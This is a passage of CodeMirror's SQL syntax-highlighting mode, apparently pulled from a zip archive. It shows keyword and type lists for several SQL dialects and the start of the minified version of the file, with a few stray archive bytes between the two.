restart restore restrict result result_oid return returned_cardinality
returned_length returned_octet_length returned_sqlstate returning returns
reverse revoke right role rollback rollup routine routine_catalog
routine_name routine_schema routines row row_count row_number rows rowtype
rule savepoint scale schema schema_name schemas scope scope_catalog
scope_name scope_schema scroll search second section security select
selective self sensitive sequence sequences serializable server server_name
session session_user set setof sets share show similar simple size skip
slice smallint snapshot some source space specific specific_name
specifictype sql sqlcode sqlerror sqlexception sqlstate sqlwarning sqrt
stable stacked standalone start state statement static statistics
stddev_pop stddev_samp stdin stdout storage strict strip structure style
subclass_origin submultiset subscription substring substring_regex succeeds
sum symmetric sysid system system_time system_user t table table_name
tables tablesample tablespace temp template temporary text then ties time
timestamp timezone_hour timezone_minute to token top_level_count trailing
transaction transaction_active transactions_committed
transactions_rolled_back transform transforms translate translate_regex
translation treat trigger trigger_catalog trigger_name trigger_schema trim
trim_array true truncate trusted type types uescape unbounded uncommitted
under unencrypted union unique unknown unlink unlisten unlogged unnamed
unnest until untyped update upper uri usage use_column use_variable user
user_defined_type_catalog user_defined_type_code user_defined_type_name
user_defined_type_schema using vacuum valid validate validator value
value_of values var_pop var_samp varbinary varchar variable_conflict
variadic varying verbose version versioning view views volatile warning
when whenever where while whitespace width_bucket window with within
without work wrapper write xml xmlagg xmlattributes xmlbinary xmlcast
xmlcomment xmlconcat xmldeclaration xmldocument xmlelement xmlexists
xmlforest xmliterate xmlnamespaces xmlparse xmlpi xmlquery xmlroot
xmlschema xmlserialize xmltable xmltext xmlvalidate year yes zone"),
    // https://www.postgresql.org/docs/11/datatype.html
    builtin: set("bigint int8 bigserial serial8 bit varying varbit
boolean bool box bytea character char varchar cidr circle date double
precision float8 inet integer int int4 interval json jsonb line lseg
macaddr macaddr8 money numeric decimal path pg_lsn point polygon real
float4 smallint int2 smallserial serial2 serial serial4 text time without
zone with timetz timestamp timestamptz tsquery tsvector txid_snapshot uuid
xml"),
    atoms: set("false true null unknown"),
    operatorChars: /^[*\/+\-%<>!=&|^\/#@?~]/,
    backslashStringEscapes: false,
    dateSQL: set("date time timestamp"),
    support: set("ODBCdotTable decimallessFloat zerolessFloat
binaryNumber hexNumber nCharCast charsetCast escapeConstant")
  });

  // Google's SQL-like query language, GQL
  CodeMirror.defineMIME("text/x-gql", {
    name: "sql",
    keywords: set("ancestor and asc by contains desc descendant
distinct from group has in is limit offset on order select superset
where"),
    atoms: set("false true"),
    builtin: set("blob datetime first key __key__ string integer
double boolean null"),
    operatorChars: /^[*+\-%<>!=]/
  });

  // Greenplum
  CodeMirror.defineMIME("text/x-gpsql", {
    name: "sql",
    client: set("source"),
   
//https://github.com/greenplum-db/gpdb/blob/master/src/include/parser/kwlist.h
    keywords: set("abort absolute access action active add admin after
aggregate all also alter always analyse analyze and any array as asc
assertion assignment asymmetric at authorization backward before begin
between bigint binary bit boolean both by cache called cascade cascaded
case cast chain char character characteristics check checkpoint class close
cluster coalesce codegen collate column comment commit committed
concurrency concurrently configuration connection constraint constraints
contains content continue conversion copy cost cpu_rate_limit create
createdb createexttable createrole createuser cross csv cube current
current_catalog current_date current_role current_schema current_time
current_timestamp current_user cursor cycle data database day deallocate
dec decimal declare decode default defaults deferrable deferred definer
delete delimiter delimiters deny desc dictionary disable discard distinct
distributed do document domain double drop dxl each else enable encoding
encrypted end enum errors escape every except exchange exclude excluding
exclusive execute exists explain extension external extract false family
fetch fields filespace fill filter first float following for force foreign
format forward freeze from full function global grant granted greatest
group group_id grouping handler hash having header hold host hour identity
if ignore ilike immediate immutable implicit in including inclusive
increment index indexes inherit inherits initially inline inner inout input
insensitive insert instead int integer intersect interval into invoker is
isnull isolation join key language large last leading least left level like
limit list listen load local localtime localtimestamp location lock log
login mapping master match maxvalue median merge minute minvalue missing
mode modifies modify month move name names national natural nchar new
newline next no nocreatedb nocreateexttable nocreaterole nocreateuser
noinherit nologin none noovercommit nosuperuser not nothing notify notnull
nowait null nullif nulls numeric object of off offset oids old on only
operator option options or order ordered others out outer over overcommit
overlaps overlay owned owner parser partial partition partitions passing
password percent percentile_cont percentile_disc placing plans position
preceding precision prepare prepared preserve primary prior privileges
procedural procedure protocol queue quote randomly range read readable
reads real reassign recheck recursive ref references reindex reject
relative release rename repeatable replace replica reset resource restart
restrict returning returns revoke right role rollback rollup rootpartition
row rows rule savepoint scatter schema scroll search second security
segment select sequence serializable session session_user set setof sets
share show similar simple smallint some split sql stable standalone start
statement statistics stdin stdout storage strict strip subpartition
subpartitions substring superuser symmetric sysid system table tablespace
temp template temporary text then threshold ties time timestamp to trailing
transaction treat trigger trim true truncate trusted type unbounded
uncommitted unencrypted union unique unknown unlisten until update user
using vacuum valid validation validator value values varchar variadic
varying verbose version view volatile web when where whitespace window with
within without work writable write xml xmlattributes xmlconcat xmlelement
xmlexists xmlforest xmlparse xmlpi xmlroot xmlserialize year yes
zone"),
    builtin: set("bigint int8 bigserial serial8 bit varying varbit
boolean bool box bytea character char varchar cidr circle date double
precision float float8 inet integer int int4 interval json jsonb line lseg
macaddr macaddr8 money numeric decimal path pg_lsn point polygon real
float4 smallint int2 smallserial serial2 serial serial4 text time without
zone with timetz timestamp timestamptz tsquery tsvector txid_snapshot uuid
xml"),
    atoms: set("false true null unknown"),
    operatorChars: /^[*+\-%<>!=&|^\/#@?~]/,
    dateSQL: set("date time timestamp"),
    support: set("ODBCdotTable decimallessFloat zerolessFloat
binaryNumber hexNumber nCharCast charsetCast")
  });

  // Spark SQL
  CodeMirror.defineMIME("text/x-sparksql", {
    name: "sql",
    keywords: set("add after all alter analyze and anti archive array
as asc at between bucket buckets by cache cascade case cast change clear
cluster clustered codegen collection column columns comment commit compact
compactions compute concatenate cost create cross cube current current_date
current_timestamp database databases datata dbproperties defined delete
delimited deny desc describe dfs directories distinct distribute drop else
end escaped except exchange exists explain export extended external false
fields fileformat first following for format formatted from full function
functions global grant group grouping having if ignore import in index
indexes inner inpath inputformat insert intersect interval into is items
join keys last lateral lazy left like limit lines list load local location
lock locks logical macro map minus msck natural no not null nulls of on
optimize option options or order out outer outputformat over overwrite
partition partitioned partitions percent preceding principals purge range
recordreader recordwriter recover reduce refresh regexp rename repair
replace reset restrict revoke right rlike role roles rollback rollup row
rows schema schemas select semi separated serde serdeproperties set sets
show skewed sort sorted start statistics stored stratify struct table
tables tablesample tblproperties temp temporary terminated then to touch
transaction transactions transform true truncate unarchive unbounded
uncache union unlock unset use using values view when where window
with"),
    builtin: set("tinyint smallint int bigint boolean float double
string binary timestamp decimal array map struct uniontype delimited serde
sequencefile textfile rcfile inputformat outputformat"),
    atoms: set("false true null"),
    operatorChars: /^[*\/+\-%<>!=~&|^]/,
    dateSQL: set("date time timestamp"),
    support: set("ODBCdotTable doubleQuote zerolessFloat")
  });

  // Esper
  CodeMirror.defineMIME("text/x-esper", {
    name: "sql",
    client: set("source"),
    //
http://www.espertech.com/esper/release-5.5.0/esper-reference/html/appendix_keywords.html
    keywords: set("alter and as asc between by count create delete
desc distinct drop from group having in insert into is join like not on or
order select set table union update values where limit after all and as at
asc avedev avg between by case cast coalesce count create current_timestamp
day days delete define desc distinct else end escape events every exists
false first from full group having hour hours in inner insert instanceof
into irstream is istream join last lastweekday left limit like max
match_recognize matches median measures metadatasql min minute minutes msec
millisecond milliseconds not null offset on or order outer output partition
pattern prev prior regexp retain-union retain-intersection right rstream
sec second seconds select set some snapshot sql stddev sum then true
unidirectional until update variable weekday when where window"),
    builtin: {},
    atoms: set("false true null"),
    operatorChars: /^[*+\-%<>!=&|^\/#@?~]/,
    dateSQL: set("time"),
    support: set("decimallessFloat zerolessFloat binaryNumber
hexNumber")
  });
});

/*
  How Properties of Mime Types are used by SQL Mode
  =================================================

  keywords:
    A list of keywords you want to be highlighted.
  builtin:
    A list of builtin types you want to be highlighted (if you want types
to be of class "builtin" instead of "keyword").
  operatorChars:
    All characters that must be handled as operators.
  client:
    Commands parsed and executed by the client (not the server).
  support:
    A list of supported syntaxes which are not common, but are supported by
more than 1 DBMS.
    * ODBCdotTable: .tableName
    * zerolessFloat: .1
    * doubleQuote
    * nCharCast: N'string'
    * charsetCast: _utf8'string'
    * commentHash: use # char for comments
    * commentSlashSlash: use // for comments
    * commentSpaceRequired: require a space after -- for comments
  atoms:
    Keywords that must be highlighted as atoms,. Some DBMS's support
more atoms than others:
    UNKNOWN, INFINITY, UNDERFLOW, NaN...
  dateSQL:
    Used for date/time SQL standard syntax, because not all DBMS's
support same temporal types.
*/
PKJ��[�N
}����codemirror/mode/sql/sql.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";function b(a){for(var
b;null!=(b=a.next());)if("`"==b&&!a.eat("`"))return"variable-2";return
a.backUp(a.current().length-1),a.eatWhile(/\w/)?"variable-2":null}function
c(a){for(var
b;null!=(b=a.next());)if('"'==b&&!a.eat('"'))return"variable-2";return
a.backUp(a.current().length-1),a.eatWhile(/\w/)?"variable-2":null}function
d(a){return
a.eat("@")&&(a.match(/^session\./),a.match(/^local\./),a.match(/^global\./)),a.eat("'")?(a.match(/^.*'/),"variable-2"):a.eat('"')?(a.match(/^.*"/),"variable-2"):a.eat("`")?(a.match(/^.*`/),"variable-2"):a.match(/^[0-9a-zA-Z$\.\_]+/)?"variable-2":null}function
e(a){return
a.eat("N")?"atom":a.match(/^[a-zA-Z.#!?]/)?"variable-2":null}function
f(a){for(var b={},c=a.split("
"),d=0;d<c.length;++d)b[c[d]]=!0;return
b}a.defineMode("sql",(function(b,c){function d(a,b){var
c=a.next();if(r[c]){var d=r[c](a,b);if(!1!==d)return
d}if(q.hexNumber&&("0"==c&&a.match(/^[xX][0-9a-fA-F]+/)||("x"==c||"X"==c)&&a.match(/^'[0-9a-fA-F]+'/)))return"number";if(q.binaryNumber&&(("b"==c||"B"==c)&&a.match(/^'[01]+'/)||"0"==c&&a.match(/^b[01]+/)))return"number";if(c.charCodeAt(0)>47&&c.charCodeAt(0)<58)return
a.match(/^[0-9]*(\.[0-9]+)?([eE][-+]?[0-9]+)?/),q.decimallessFloat&&a.match(/^\.(?!\.)/),"number";if("?"==c&&(a.eatSpace()||a.eol()||a.eat(";")))return"variable-3";if("'"==c||'"'==c&&q.doubleQuote)return
b.tokenize=e(c),b.tokenize(a,b);if((q.nCharCast&&("n"==c||"N"==c)||q.charsetCast&&"_"==c&&a.match(/[a-z][a-z0-9]*/i))&&("'"==a.peek()||'"'==a.peek()))return"keyword";if(q.escapeConstant&&("e"==c||"E"==c)&&("'"==a.peek()||'"'==a.peek()&&q.doubleQuote))return
b.tokenize=function(a,b){return(b.tokenize=e(a.next(),!0))(a,b)},"keyword";if(q.commentSlashSlash&&"/"==c&&a.eat("/"))return
a.skipToEnd(),"comment";if(q.commentHash&&"#"==c||"-"==c&&a.eat("-")&&(!q.commentSpaceRequired||a.eat("
")))return
a.skipToEnd(),"comment";if("/"==c&&a.eat("*"))return
b.tokenize=i(1),b.tokenize(a,b);if("."!=c){if(p.test(c))return
a.eatWhile(p),"operator";if(u.test(c))return"bracket";if(v.test(c))return
a.eatWhile(v),"punctuation";if("{"==c&&(a.match(/^(
)*(d|D|t|T|ts|TS)( )*'[^']*'( )*}/)||a.match(/^(
)*(d|D|t|T|ts|TS)( )*"[^"]*"(
)*}/)))return"number";a.eatWhile(/^[_\w\d]/);var
f=a.current().toLowerCase();return
s.hasOwnProperty(f)&&(a.match(/^(
)+'[^']*'/)||a.match(/^(
)+"[^"]*"/))?"number":m.hasOwnProperty(f)?"atom":n.hasOwnProperty(f)?"builtin":o.hasOwnProperty(f)?"keyword":l.hasOwnProperty(f)?"string-2":null}return
q.zerolessFloat&&a.match(/^(?:\d+(?:e[+-]?\d+)?)/i)?"number":a.match(/^\.+/)?null:q.ODBCdotTable&&a.match(/^[\w\d_$#]+/)?"variable-2":void
0}function e(a,b){return function(c,e){for(var
f,g=!1;null!=(f=c.next());){if(f==a&&!g){e.tokenize=d;break}g=(t||b)&&!g&&"\\"==f}return"string"}}function
i(a){return function(b,c){var e=b.match(/^.*?(\/\*|\*\/)/);return
e?"/*"==e[1]?c.tokenize=i(a+1):c.tokenize=a>1?i(a-1):d:b.skipToEnd(),"comment"}}function
j(a,b,c){b.context={prev:b.context,indent:a.indentation(),col:a.column(),type:c}}function
k(a){a.indent=a.context.indent,a.context=a.context.prev}var
l=c.client||{},m=c.atoms||{false:!0,true:!0,null:!0},n=c.builtin||f(h),o=c.keywords||f(g),p=c.operatorChars||/^[*+\-%<>!=&|~^\/]/,q=c.support||{},r=c.hooks||{},s=c.dateSQL||{date:!0,time:!0,timestamp:!0},t=!1!==c.backslashStringEscapes,u=c.brackets||/^[\{}\(\)\[\]]/,v=c.punctuation||/^[;.,:]/;return{startState:function(){return{tokenize:d,context:null}},token:function(a,b){if(a.sol()&&b.context&&null==b.context.align&&(b.context.align=!1),b.tokenize==d&&a.eatSpace())return
null;var c=b.tokenize(a,b);if("comment"==c)return
c;b.context&&null==b.context.align&&(b.context.align=!0);var
e=a.current();return"("==e?j(a,b,")"):"["==e?j(a,b,"]"):b.context&&b.context.type==e&&k(b),c},indent:function(c,d){var
e=c.context;if(!e)return a.Pass;var f=d.charAt(0)==e.type;return
e.align?e.col+(f?0:1):e.indent+(f?0:b.indentUnit)},blockCommentStart:"/*",blockCommentEnd:"*/",lineComment:q.commentSlashSlash?"//":q.commentHash?"#":"--",closeBrackets:"()[]{}''\"\"``"}}));var
g="alter and as asc between by count create delete desc distinct drop
from group having in insert into is join like not on or order select set
table union update values where limit ",h="bool boolean bit blob
enum long longblob longtext medium mediumblob mediumint mediumtext time
timestamp tinyblob tinyint tinytext text bigint int int1 int2 int3 int4
int8 integer float float4 float8 double char varbinary varchar varcharacter
precision real date datetime year unsigned signed decimal
numeric";a.defineMIME("text/x-sql",{name:"sql",keywords:f(g+"begin"),builtin:f(h),atoms:f("false
true null unknown"),dateSQL:f("date time
timestamp"),support:f("ODBCdotTable doubleQuote binaryNumber
hexNumber")}),a.defineMIME("text/x-mssql",{name:"sql",client:f("$partition
binary_checksum checksum connectionproperty context_info current_request_id
error_line error_message error_number error_procedure error_severity
error_state formatmessage get_filestream_transaction_context getansinull
host_id host_name isnull isnumeric min_active_rowversion newid
newsequentialid rowcount_big xact_state
object_id"),keywords:f(g+"begin trigger proc view index for add
constraint key primary foreign collate clustered nonclustered declare exec
go if use index holdlock nolock nowait paglock readcommitted
readcommittedlock readpast readuncommitted repeatableread rowlock
serializable snapshot tablock tablockx updlock
with"),builtin:f("bigint numeric bit smallint decimal smallmoney
int tinyint money float real char varchar text nchar nvarchar ntext binary
varbinary image cursor timestamp hierarchyid uniqueidentifier sql_variant
xml table "),atoms:f("is not null like and or in left right
between inner outer join all any some cross unpivot pivot
exists"),operatorChars:/^[*+\-%<>!=^\&|\/]/,brackets:/^[\{}\(\)]/,punctuation:/^[;.,:\/]/,backslashStringEscapes:!1,dateSQL:f("date
datetimeoffset datetime2 smalldatetime datetime
time"),hooks:{"@":d}}),a.defineMIME("text/x-mysql",{name:"sql",client:f("charset
clear connect edit ego exit go help nopager notee nowarning pager print
prompt quit rehash source status system
tee"),keywords:f(g+"accessible action add after algorithm all
analyze asensitive at authors auto_increment autocommit avg avg_row_length
before binary binlog both btree cache call cascade cascaded case
catalog_name chain change changed character check checkpoint checksum
class_origin client_statistics close coalesce code collate collation
collations column columns comment commit committed completion concurrent
condition connection consistent constraint contains continue contributors
convert cross current current_date current_time current_timestamp
current_user cursor data database databases day_hour day_microsecond
day_minute day_second deallocate dec declare default delay_key_write
delayed delimiter des_key_file describe deterministic dev_pop dev_samp
deviance diagnostics directory disable discard distinctrow div dual
dumpfile each elseif enable enclosed end ends engine engines enum errors
escape escaped even event events every execute exists exit explain extended
fast fetch field fields first flush for force foreign found_rows full
fulltext function general get global grant grants group group_concat
handler hash help high_priority hosts hour_microsecond hour_minute
hour_second if ignore ignore_server_ids import index index_statistics
infile inner innodb inout insensitive insert_method install interval
invoker isolation iterate key keys kill language last leading leave left
level limit linear lines list load local localtime localtimestamp lock logs
low_priority master master_heartbeat_period master_ssl_verify_server_cert
masters match max max_rows maxvalue message_text middleint migrate min
min_rows minute_microsecond minute_second mod mode modifies modify mutex
mysql_errno natural next no no_write_to_binlog offline offset one online
open optimize option optionally out outer outfile pack_keys parser
partition partitions password phase plugin plugins prepare preserve prev
primary privileges procedure processlist profile profiles purge query quick
range read read_write reads real rebuild recover references regexp relaylog
release remove rename reorganize repair repeatable replace require resignal
restrict resume return returns revoke right rlike rollback rollup row
row_format rtree savepoint schedule schema schema_name schemas
second_microsecond security sensitive separator serializable server session
share show signal slave slow smallint snapshot soname spatial specific sql
sql_big_result sql_buffer_result sql_cache sql_calc_found_rows sql_no_cache
sql_small_result sqlexception sqlstate sqlwarning ssl start starting starts
status std stddev stddev_pop stddev_samp storage straight_join
subclass_origin sum suspend table_name table_statistics tables tablespace
temporary terminated to trailing transaction trigger triggers truncate
uncommitted undo uninstall unique unlock upgrade usage use use_frm user
user_resources user_statistics using utc_date utc_time utc_timestamp value
variables varying view views warnings when while with work write xa xor
year_month zerofill begin do then else loop
repeat"),builtin:f("bool boolean bit blob decimal double float
long longblob longtext medium mediumblob mediumint mediumtext time
timestamp tinyblob tinyint tinytext text bigint int int1 int2 int3 int4
int8 integer float float4 float8 double char varbinary varchar varcharacter
precision date datetime year unsigned signed
numeric"),atoms:f("false true null
unknown"),operatorChars:/^[*+\-%<>!=&|^]/,dateSQL:f("date
time timestamp"),support:f("ODBCdotTable decimallessFloat
zerolessFloat binaryNumber hexNumber doubleQuote nCharCast charsetCast
commentHash
commentSpaceRequired"),hooks:{"@":d,"`":b,"\\":e}}),a.defineMIME("text/x-mariadb",{name:"sql",client:f("charset
clear connect edit ego exit go help nopager notee nowarning pager print
prompt quit rehash source status system
tee"),keywords:f(g+"accessible action add after algorithm all
always analyze asensitive at authors auto_increment autocommit avg
avg_row_length before binary binlog both btree cache call cascade cascaded
case catalog_name chain change changed character check checkpoint checksum
class_origin client_statistics close coalesce code collate collation
collations column columns comment commit committed completion concurrent
condition connection consistent constraint contains continue contributors
convert cross current current_date current_time current_timestamp
current_user cursor data database databases day_hour day_microsecond
day_minute day_second deallocate dec declare default delay_key_write
delayed delimiter des_key_file describe deterministic dev_pop dev_samp
deviance diagnostics directory disable discard distinctrow div dual
dumpfile each elseif enable enclosed end ends engine engines enum errors
escape escaped even event events every execute exists exit explain extended
fast fetch field fields first flush for force foreign found_rows full
fulltext function general generated get global grant grants group
groupby_concat handler hard hash help high_priority hosts hour_microsecond
hour_minute hour_second if ignore ignore_server_ids import index
index_statistics infile inner innodb inout insensitive insert_method
install interval invoker isolation iterate key keys kill language last
leading leave left level limit linear lines list load local localtime
localtimestamp lock logs low_priority master master_heartbeat_period
master_ssl_verify_server_cert masters match max max_rows maxvalue
message_text middleint migrate min min_rows minute_microsecond
minute_second mod mode modifies modify mutex mysql_errno natural next no
no_write_to_binlog offline offset one online open optimize option
optionally out outer outfile pack_keys parser partition partitions password
persistent phase plugin plugins prepare preserve prev primary privileges
procedure processlist profile profiles purge query quick range read
read_write reads real rebuild recover references regexp relaylog release
remove rename reorganize repair repeatable replace require resignal
restrict resume return returns revoke right rlike rollback rollup row
row_format rtree savepoint schedule schema schema_name schemas
second_microsecond security sensitive separator serializable server session
share show shutdown signal slave slow smallint snapshot soft soname spatial
specific sql sql_big_result sql_buffer_result sql_cache sql_calc_found_rows
sql_no_cache sql_small_result sqlexception sqlstate sqlwarning ssl start
starting starts status std stddev stddev_pop stddev_samp storage
straight_join subclass_origin sum suspend table_name table_statistics
tables tablespace temporary terminated to trailing transaction trigger
triggers truncate uncommitted undo uninstall unique unlock upgrade usage
use use_frm user user_resources user_statistics using utc_date utc_time
utc_timestamp value variables varying view views virtual warnings when
while with work write xa xor year_month zerofill begin do then else loop
repeat"),builtin:f("bool boolean bit blob decimal double float
long longblob longtext medium mediumblob mediumint mediumtext time
timestamp tinyblob tinyint tinytext text bigint int int1 int2 int3 int4
int8 integer float float4 float8 double char varbinary varchar varcharacter
precision date datetime year unsigned signed
numeric"),atoms:f("false true null
unknown"),operatorChars:/^[*+\-%<>!=&|^]/,dateSQL:f("date
time timestamp"),support:f("ODBCdotTable decimallessFloat
zerolessFloat binaryNumber hexNumber doubleQuote nCharCast charsetCast
commentHash
commentSpaceRequired"),hooks:{"@":d,"`":b,"\\":e}}),a.defineMIME("text/x-sqlite",{name:"sql",client:f("auth
backup bail binary changes check clone databases dbinfo dump echo eqp exit
explain fullschema headers help import imposter indexes iotrace limit lint
load log mode nullvalue once open output print prompt quit read restore
save scanstats schema separator session shell show stats system tables
testcase timeout timer trace vfsinfo vfslist vfsname
width"),keywords:f(g+"abort action add after all analyze attach
autoincrement before begin cascade case cast check collate column commit
conflict constraint cross current_date current_time current_timestamp
database default deferrable deferred detach each else end escape except
exclusive exists explain fail for foreign full glob if ignore immediate
index indexed initially inner instead intersect isnull key left limit match
natural no notnull null of offset outer plan pragma primary query raise
recursive references regexp reindex release rename replace restrict right
rollback row savepoint temp temporary then to transaction trigger unique
using vacuum view virtual when with without"),builtin:f("bool
boolean bit blob decimal double float long longblob longtext medium
mediumblob mediumint mediumtext time timestamp tinyblob tinyint tinytext
text clob bigint int int2 int8 integer float double char varchar date
datetime year unsigned signed numeric real"),atoms:f("null
current_date current_time
current_timestamp"),operatorChars:/^[*+\-%<>!=&|\/~]/,dateSQL:f("date
time timestamp datetime"),support:f("decimallessFloat
zerolessFloat"),identifierQuote:'"',hooks:{"@":d,":":d,"?":d,$:d,'"':c,"`":b}}),a.defineMIME("text/x-cassandra",{name:"sql",client:{},keywords:f("add
all allow alter and any apply as asc authorize batch begin by clustering
columnfamily compact consistency count create custom delete desc distinct
drop each_quorum exists filtering from grant if in index insert into key
keyspace keyspaces level limit local_one local_quorum modify nan
norecursive nosuperuser not of on one order password permission permissions
primary quorum rename revoke schema select set storage superuser table
three to token truncate ttl two type unlogged update use user users using
values where with writetime"),builtin:f("ascii bigint blob
boolean counter decimal double float frozen inet int list map static text
timestamp timeuuid tuple uuid varchar varint"),atoms:f("false
true infinity
NaN"),operatorChars:/^[<>=]/,dateSQL:{},support:f("commentSlashSlash
decimallessFloat"),hooks:{}}),a.defineMIME("text/x-plsql",{name:"sql",client:f("appinfo
arraysize autocommit autoprint autorecovery autotrace blockterminator break
btitle cmdsep colsep compatibility compute concat copycommit copytypecheck
define describe echo editfile embedded escape exec execute feedback flagger
flush heading headsep instance linesize lno loboffset logsource long
longchunksize markup native newpage numformat numwidth pagesize pause pno
recsep recsepchar release repfooter repheader serveroutput shiftinout show
showmode size spool sqlblanklines sqlcase sqlcode sqlcontinue sqlnumber
sqlpluscompatibility sqlprefix sqlprompt sqlterminator suffix tab term
termout time timing trimout trimspool ttitle underline verify version
wrap"),keywords:f("abort accept access add all alter and any
array arraylen as asc assert assign at attributes audit authorization avg
base_table begin between binary_integer body boolean by case cast char
char_base check close cluster clusters colauth column comment commit
compress connect connected constant constraint crash create current currval
cursor data_base database date dba deallocate debugoff debugon decimal
declare default definition delay delete desc digits dispose distinct do
drop else elseif elsif enable end entry escape exception exception_init
exchange exclusive exists exit external fast fetch file for force form from
function generic goto grant group having identified if immediate in
increment index indexes indicator initial initrans insert interface
intersect into is key level library like limited local lock log logging
long loop master maxextents maxtrans member minextents minus mislabel mode
modify multiset new next no noaudit nocompress nologging noparallel not
nowait number_base object of off offline on online only open option or
order out package parallel partition pctfree pctincrease pctused
pls_integer positive positiven pragma primary prior private privileges
procedure public raise range raw read rebuild record ref references refresh
release rename replace resource restrict return returning returns reverse
revoke rollback row rowid rowlabel rownum rows run savepoint schema segment
select separate session set share snapshot some space split sql start
statement storage subtype successful synonym tabauth table tables
tablespace task terminate then to trigger truncate type union unique
unlimited unrecoverable unusable update use using validate value values
variable view views when whenever where while with
work"),builtin:f("abs acos add_months ascii asin atan atan2
average bfile bfilename bigserial bit blob ceil character chartorowid chr
clob concat convert cos cosh count dec decode deref dual dump
dup_val_on_index empty error exp false float floor found glb greatest
hextoraw initcap instr instrb int integer isopen last_day least length
lengthb ln lower lpad ltrim lub make_ref max min mlslabel mod
months_between natural naturaln nchar nclob new_time next_day nextval
nls_charset_decl_len nls_charset_id nls_charset_name nls_initcap nls_lower
nls_sort nls_upper nlssort no_data_found notfound null number numeric
nvarchar2 nvl others power rawtohex real reftohex round rowcount
rowidtochar rowtype rpad rtrim serial sign signtype sin sinh smallint
soundex sqlcode sqlerrm sqrt stddev string substr substrb sum sysdate tan
tanh to_char text to_date to_label to_multi_byte to_number to_single_byte
translate true trunc uid unlogged upper user userenv varchar varchar2
variance varying vsize
xml"),operatorChars:/^[*\/+\-%<>!=~]/,dateSQL:f("date time
timestamp"),support:f("doubleQuote nCharCast zerolessFloat
binaryNumber
hexNumber")}),a.defineMIME("text/x-hive",{name:"sql",keywords:f("select
alter $elem$ $key$ $value$ add after all analyze and archive as asc before
between binary both bucket buckets by cascade case cast change cluster
clustered clusterstatus collection column columns comment compute
concatenate continue create cross cursor data database databases
dbproperties deferred delete delimited desc describe directory disable
distinct distribute drop else enable end escaped exclusive exists explain
export extended external fetch fields fileformat first format formatted
from full function functions grant group having hold_ddltime idxproperties
if import in index indexes inpath inputdriver inputformat insert intersect
into is items join keys lateral left like limit lines load local location
lock locks mapjoin materialized minus msck no_drop nocompress not of
offline on option or order out outer outputdriver outputformat overwrite
partition partitioned partitions percent plus preserve procedure purge
range rcfile read readonly reads rebuild recordreader recordwriter recover
reduce regexp rename repair replace restrict revoke right rlike row schema
schemas semi sequencefile serde serdeproperties set shared show
show_database sort sorted ssl statistics stored streamtable table tables
tablesample tblproperties temporary terminated textfile then tmp to touch
transform trigger unarchive undo union uniquejoin unlock update use using
utc utc_tmestamp view when where while with admin authorization char
compact compactions conf cube current current_date current_timestamp day
decimal defined dependency directories elem_type exchange file following
for grouping hour ignore inner interval jar less logical macro minute month
more none noscan over owner partialscan preceding pretty principals
protection reload rewrite role roles rollup rows second server sets skewed
transactions truncate unbounded unset uri user values window
year"),builtin:f("bool boolean long timestamp tinyint smallint
bigint int float double date datetime unsigned string array struct map
uniontype key_type utctimestamp value_type
varchar"),atoms:f("false true null
unknown"),operatorChars:/^[*+\-%<>!=]/,dateSQL:f("date
timestamp"),support:f("ODBCdotTable doubleQuote binaryNumber
hexNumber")}),a.defineMIME("text/x-pgsql",{name:"sql",client:f("source"),keywords:f(g+"a
abort abs absent absolute access according action ada add admin after
aggregate alias all allocate also alter always analyse analyze and any are
array array_agg array_max_cardinality as asc asensitive assert assertion
assignment asymmetric at atomic attach attribute attributes authorization
avg backward base64 before begin begin_frame begin_partition bernoulli
between bigint binary bit bit_length blob blocked bom boolean both breadth
by c cache call called cardinality cascade cascaded case cast catalog
catalog_name ceil ceiling chain char char_length character character_length
character_set_catalog character_set_name character_set_schema
characteristics characters check checkpoint class class_origin clob close
cluster coalesce cobol collate collation collation_catalog collation_name
collation_schema collect column column_name columns command_function
command_function_code comment comments commit committed concurrently
condition condition_number configuration conflict connect connection
connection_name constant constraint constraint_catalog constraint_name
constraint_schema constraints constructor contains content continue control
conversion convert copy corr corresponding cost count covar_pop covar_samp
create cross csv cube cume_dist current current_catalog current_date
current_default_transform_group current_path current_role current_row
current_schema current_time current_timestamp
current_transform_group_for_type current_user cursor cursor_name cycle data
database datalink datatype date datetime_interval_code
datetime_interval_precision day db deallocate debug dec decimal declare
default defaults deferrable deferred defined definer degree delete
delimiter delimiters dense_rank depends depth deref derived desc describe
descriptor detach detail deterministic diagnostics dictionary disable
discard disconnect dispatch distinct dlnewcopy dlpreviouscopy dlurlcomplete
dlurlcompleteonly dlurlcompletewrite dlurlpath dlurlpathonly dlurlpathwrite
dlurlscheme dlurlserver dlvalue do document domain double drop dump dynamic
dynamic_function dynamic_function_code each element else elseif elsif empty
enable encoding encrypted end end_frame end_partition endexec enforced enum
equals errcode error escape event every except exception exclude excluding
exclusive exec execute exists exit exp explain expression extension
external extract false family fetch file filter final first first_value
flag float floor following for force foreach foreign fortran forward found
frame_row free freeze from fs full function functions fusion g general
generated get global go goto grant granted greatest group grouping groups
handler having header hex hierarchy hint hold hour id identity if ignore
ilike immediate immediately immutable implementation implicit import in
include including increment indent index indexes indicator info inherit
inherits initially inline inner inout input insensitive insert instance
instantiable instead int integer integrity intersect intersection interval
into invoker is isnull isolation join k key key_member key_type label lag
language large last last_value lateral lead leading leakproof least left
length level library like like_regex limit link listen ln load local
localtime localtimestamp location locator lock locked log logged loop lower
m map mapping match matched materialized max max_cardinality maxvalue
member merge message message_length message_octet_length message_text
method min minute minvalue mod mode modifies module month more move
multiset mumps name names namespace national natural nchar nclob nesting
new next nfc nfd nfkc nfkd nil no none normalize normalized not nothing
notice notify notnull nowait nth_value ntile null nullable nullif nulls
number numeric object occurrences_regex octet_length octets of off offset
oids old on only open operator option options or order ordering ordinality
others out outer output over overlaps overlay overriding owned owner p pad
parallel parameter parameter_mode parameter_name parameter_ordinal_position
parameter_specific_catalog parameter_specific_name
parameter_specific_schema parser partial partition pascal passing
passthrough password path percent percent_rank percentile_cont
percentile_disc perform period permission pg_context pg_datatype_name
pg_exception_context pg_exception_detail pg_exception_hint placing plans
pli policy portion position position_regex power precedes preceding
precision prepare prepared preserve primary print_strict_params prior
privileges procedural procedure procedures program public publication query
quote raise range rank read reads real reassign recheck recovery recursive
ref references referencing refresh regr_avgx regr_avgy regr_count
regr_intercept regr_r2 regr_slope regr_sxx regr_sxy regr_syy reindex
relative release rename repeatable replace replica requiring reset respect
restart restore restrict result result_oid return returned_cardinality
